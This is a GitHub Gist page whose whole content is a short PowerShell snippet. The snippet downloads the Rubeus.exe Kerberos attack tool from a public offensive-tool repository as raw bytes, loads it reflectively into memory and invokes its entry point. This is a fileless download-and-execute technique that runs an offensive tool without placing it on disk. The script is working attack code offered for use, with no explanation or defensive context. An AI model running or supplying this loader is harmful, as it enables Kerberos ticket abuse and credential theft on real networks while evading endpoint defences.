Skip to content

Instantly share code, notes, and snippets.

@jnqpblc
Created November 15, 2022 17:19
Show Gist options
  • Save jnqpblc/a064f80a360fed175afb23b3f442a67a to your computer and use it in GitHub Desktop.
Save jnqpblc/a064f80a360fed175afb23b3f442a67a to your computer and use it in GitHub Desktop.
$u = "https://raw.githubusercontent.com/Flangvik/SharpCollection/master/NetFramework_4.0_Any/"
$f="Rubeus.exe"
$c = "1"
[byte[]] $a = (New-Object System.Net.WebClient).DownloadData($u+$f)
$assem = [System.Reflection.Assembly]::Load($a);
#$assem.CustomAttributes
#$assem.EntryPoint |ft Name, ReflectedType, Module, IsPublic
([Type]$assem.EntryPoint.DeclaringType.FullName.ToString())::([String]$assem.EntryPoint.Name).Invoke($c)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment